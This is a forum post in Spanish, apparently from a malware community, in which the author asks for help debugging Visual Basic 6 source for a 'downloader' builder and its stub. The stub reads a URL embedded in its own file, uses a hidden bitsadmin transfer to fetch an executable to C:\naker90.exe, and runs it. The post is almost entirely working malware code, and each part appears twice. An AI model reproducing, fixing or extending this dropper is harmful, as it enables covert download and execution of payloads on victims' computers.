Pueden mirar el code si hay algun problema del que no me halla dado cuenta
Estoy utilizando esta ruta como URL: [Enlace externo eliminado para invitados] Naker90.exe (a lo mejor es la URL la que no funka y no he probado con otra ya que los Uploader de exe's que conocia estan caidos)
Cliente:
'-----------------------------------------------
'Apis y constantes del delay
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'Boton de Pegar texto en text1.text
Private Sub Boton1_Click()
Text1.SelText = Clipboard.GetText()
End Sub
'-----------------------------------------------------
'Boton de limpiar text1.text
Private Sub Boton2_Click()
Text1.Text = ""
End Sub
'--------------------------------------------
'Boton de Probar URL
Private Sub Boton3_Click()
ShellExecute Me.hwnd, "Open", Text1.Text, "", 0&, 1
End Sub
'----------------------------------------------------
'boton del about
Private Sub Boton7_Click()
Form2.Show
End Sub
'---------------------------------------------------------------
'boton del build server
Private Sub Boton8_Click()
If Text1.Text = vbNullString Then MsgBox "No hay URL!", vbInformation, Me.Caption
Dim Stub As String
Open App.Path & "\" & "Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Dim Key As String
Key = "[Naker90-Indetectables.net]"
Dim URL As String
URL = Text1.Text
Open App.Path & "\Downloader.exe" For Binary As #1
Put #1, , Stub
Put #1, , Key
Put #1, , URL
Put #1, , Key
Close #1
MsgBox "Downloader creado con exito!", vbInformation, Me.Caption
End Sub
'------------------------------------------------------------
'Boton de Salir
Private Sub Boton9_Click()
MsgBox "Hasta luego compañer@, Naker90", vbInformation, Me.Caption
End
End Sub
'Apis y constantes del delay
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'Boton de Pegar texto en text1.text
Private Sub Boton1_Click()
Text1.SelText = Clipboard.GetText()
End Sub
'-----------------------------------------------------
'Boton de limpiar text1.text
Private Sub Boton2_Click()
Text1.Text = ""
End Sub
'--------------------------------------------
'Boton de Probar URL
Private Sub Boton3_Click()
ShellExecute Me.hwnd, "Open", Text1.Text, "", 0&, 1
End Sub
'----------------------------------------------------
'boton del about
Private Sub Boton7_Click()
Form2.Show
End Sub
'---------------------------------------------------------------
'boton del build server
Private Sub Boton8_Click()
If Text1.Text = vbNullString Then MsgBox "No hay URL!", vbInformation, Me.Caption
Dim Stub As String
Open App.Path & "\" & "Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Dim Key As String
Key = "[Naker90-Indetectables.net]"
Dim URL As String
URL = Text1.Text
Open App.Path & "\Downloader.exe" For Binary As #1
Put #1, , Stub
Put #1, , Key
Put #1, , URL
Put #1, , Key
Close #1
MsgBox "Downloader creado con exito!", vbInformation, Me.Caption
End Sub
'------------------------------------------------------------
'Boton de Salir
Private Sub Boton9_Click()
MsgBox "Hasta luego compañer@, Naker90", vbInformation, Me.Caption
End
End Sub
Option Explicit
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Public Sub Shellwait(ByVal cmd As String)
Dim ret As Long
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
start.cb = Len(start)
start.wShowWindow = vbHide
start.dwFlags = vbNormalFocus
ret = CreateProcessA(0&, cmd, 0&, 0&, False, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
If ret Then
ret = WaitForSingleObject(proc.hProcess, INFINITE)
ret = CloseHandle(proc.hProcess)
ret = CloseHandle(proc.hThread)
End If
End Sub
Private Function Down_E(sUrl As String, sPath As String)
Dim Sparameter As String
Sparameter = "bitsadmin /transfer myjob /download /priority High " & sUrl & " " & sPath
Shellwait (Sparameter)
ShellExecute vbNull, "OPEN", sPath, vbNullString, vbNullString, 0
End Function
Sub Main()
Dim Stub As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Dim Key As String
Key = "[Naker90-Indetectables.net]"
Dim sSplit() As String
sSplit() = Split(Stub, Key)
Call Down_E(sSplit(1), "C:\naker90.exe")
End Sub
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Public Sub Shellwait(ByVal cmd As String)
Dim ret As Long
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
start.cb = Len(start)
start.wShowWindow = vbHide
start.dwFlags = vbNormalFocus
ret = CreateProcessA(0&, cmd, 0&, 0&, False, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
If ret Then
ret = WaitForSingleObject(proc.hProcess, INFINITE)
ret = CloseHandle(proc.hProcess)
ret = CloseHandle(proc.hThread)
End If
End Sub
Private Function Down_E(sUrl As String, sPath As String)
Dim Sparameter As String
Sparameter = "bitsadmin /transfer myjob /download /priority High " & sUrl & " " & sPath
Shellwait (Sparameter)
ShellExecute vbNull, "OPEN", sPath, vbNullString, vbNullString, 0
End Function
Sub Main()
Dim Stub As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Dim Key As String
Key = "[Naker90-Indetectables.net]"
Dim sSplit() As String
sSplit() = Split(Stub, Key)
Call Down_E(sSplit(1), "C:\naker90.exe")
End Sub